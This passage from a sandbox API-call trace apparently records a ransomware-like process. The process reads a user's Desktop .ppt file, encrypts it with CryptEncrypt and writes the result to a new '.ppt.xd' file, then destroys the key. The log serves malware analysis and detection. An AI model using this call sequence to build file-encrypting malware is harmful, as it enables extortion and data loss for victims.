wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.052] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\f-dli0lw.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0075.052] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.052] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0075.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.052] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0075.052] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\f-dli0lw.ppt.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0075.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.065] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0075.065] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xdda0, lpOverlapped=0x0) returned 1 [0075.066] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0075.081] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.081] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.081] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.081] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0075.081] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.081] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.081] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0075.082] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.082] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0075.082] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.082] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.082] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.082] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0075.082] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.082] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0075.082] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0075.082] CryptGetKeyParam (in: hKey=0x164c830, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0075.082] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.082] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.083] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.083] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.083] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.083] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.083] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.083] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.083] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.083] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.086] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.086] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.086] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.086] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.086] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.086] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.086] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.087] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.088] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.117] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xdda0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xddb0) returned 1 [0075.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.119] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.119] CharLowerBuffW (in: lpsz="byte[56753]", cchLength=0xb | out: lpsz="byte[56753]") returned 0xb [0075.120] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.121] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.121] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.121] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.121] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.121] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a50, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.121] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.121] CryptEncrypt (in: hKey=0x164c830, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180a418*, pdwDataLen=0x130e618*=0xdda0, dwBufLen=0xddb0 | out: pbData=0x180a418*, pdwDataLen=0x130e618*=0xddb0) returned 1 [0075.122] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.143] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.143] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.143] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.143] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.143] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.143] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.143] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.143] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.144] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.144] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.144] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.151] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.151] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.151] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.151] WriteFile (in: hFile=0x3d8, lpBuffer=0x17ee8d8*, nNumberOfBytesToWrite=0xddb0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ee8d8*, lpNumberOfBytesWritten=0x130f01c*=0xddb0, lpOverlapped=0x0) returned 1 [0075.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.153] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.153] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0075.153] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.154] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.154] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0075.154] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16211c8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0075.154] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0075.154] CryptDestroyKey (hKey=0x164c830) returned 1 [0075.154] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.154] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.154] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.154] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.155] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.155] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.155] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.155] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.155] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.155] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.155] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.155] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.156] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.156] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.156] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.156] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.156] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.156] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.156] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.156] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.156] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0075.156] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0075.156] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0075.157] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.157] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.157] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0075.157] FreeLibrary (hLibModule=0x74c60000) returned 1 [0075.157] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.157] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.157] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.157] CloseHandle (hObject=0x3d0) returned 1 [0075.157] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.157] CloseHandle (hObject=0x3d8) returned 1 [0075.166] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 